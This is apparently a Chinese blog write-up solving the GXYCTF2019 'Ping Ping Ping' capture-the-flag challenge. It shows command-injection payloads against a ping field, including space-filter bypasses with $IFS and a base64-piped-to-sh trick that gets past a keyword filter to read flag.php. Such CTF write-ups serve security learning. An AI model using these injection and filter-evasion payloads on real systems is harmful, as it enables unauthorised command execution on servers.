[BUU] [GXYCTF2019]Ping Ping Ping 1 Write-Up

1.基本读题

通过标题得知应该是一个命令注入的题目,进入环境后提醒我们通过get方式提交ip

2.进一步信息收集

先尝试一些基本的命令注入:
127.0.0.1;ls

127.0.0.1;dir
以判断是linux系统还是windows系统
注入127.0.0.1;dir时是没有回显的,相反,注入127.0.0.1;ls时返回了目录

在这里插入图片描述

这里发现有flag.phpindex.php两个文件,自然先尝试能不能直接打开flag.php

先尝试:

127.0.0.1;cat flag.php

失败,并且返回了:

在这里插入图片描述

显然是将空格给过滤了,尝试能否绕过空格:

cat flag.php

cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
{cat,flag.php}
cat%20flag.php
cat%09flag.php

以下类型的报错:

在这里插入图片描述

在这里插入图片描述

看来是将一些符号以及字符串flag拉黑了,并且,我们在尝试cat$IFS$9flag.php时并没有提示symbol和space报错,说明这个对空格的绕过是可行的,主要是flag被拦住了,那么尝试用base64绕过字符串flag的过滤

3.payload

cat flag.php进行base64编码:Y2F0IGZsYWcucGhw

那么构造payload:

127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|bash

提示bash被ban,没关系,尝试sh

127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

这次没有报错,然后查看网页源码即可获得flag:

在这里插入图片描述


关于payloa的解释,看下图:

在这里插入图片描述

bHM=为字符串ls的base64编码值

同时注意,不同网站的base64编码和解码有时会有差异,跑不通可以尝试换个网站对flag.php进行编码,可能会有不同的结果

并且,这里还有一个index.php没有用到,由于并没有过滤字符串index,通过$IFS$9的简单绕过就可以进入index.php,在里面可以看到具体的过滤规则

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值